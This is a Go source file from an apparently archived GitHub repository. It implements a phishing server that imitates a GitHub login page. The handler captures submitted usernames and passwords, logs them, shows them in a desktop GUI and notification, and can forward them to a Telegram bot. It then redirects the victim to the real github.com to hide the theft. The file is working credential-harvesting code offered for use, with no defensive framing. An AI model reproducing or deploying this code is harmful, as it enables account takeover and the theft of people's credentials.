This repository has been archived by the owner on Jan 16, 2022. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 4
/
github.go
68 lines (57 loc) · 1.63 KB
/
github.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package main
import (
"context"
"fmt"
"log"
"net/http"
"fyne.io/fyne"
"fyne.io/fyne/dialog"
"fyne.io/fyne/widget"
"github.com/raifpy/Go/errHandler"
)
func serveGithubLogin(kapat chan bool, win fyne.Window, textGrid *widget.TextGrid, textStream *string) {
serveFunc := func(response http.ResponseWriter, req *http.Request) {
log.Println("Requests -> ", req.Form.Encode())
//query := req.URL.Query()
//if key, ok := query["nick"]; ok {
if !errHandler.HandlerBool(req.ParseForm()) {
login := req.FormValue("login")
pass := req.FormValue("password")
if login != "" || pass != "" {
log.Printf("Login = %s Passw = %s", login, pass)
*textStream += "\nlogin = " + login + "\nPass = " + pass + "\n"
if useTelegramBot {
tg.send("Login = " + login + "\nPass = " + pass)
}
textGrid.SetText(*textStream)
notiApp.SendNotification(fyne.NewNotification("New Form", login+" : "+pass))
http.Redirect(response, req, "https://github.com", 301)
return
}
*textStream += "New Requests\n"
if useTelegramBot {
tg.send("New Request on GitHub")
}
textGrid.SetText(*textStream)
} else {
log.Println("Error to req.ParseFrom")
}
fmt.Fprintln(response, githubLogin)
return
}
//http.HandleFunc("/", serveFunc)
m := http.NewServeMux()
s := http.Server{Addr: ":8089", Handler: m}
m.HandleFunc("/", serveFunc)
go func() {
<-kapat
s.Shutdown(context.Background())
fmt.Println("Server Shutdown")
}()
if err := s.ListenAndServe(); errHandler.HandlerBool(err) && err.Error() != serverClosedErrString {
if useTelegramBot {
tg.send(err.Error())
}
dialog.ShowError(err, win)
}
}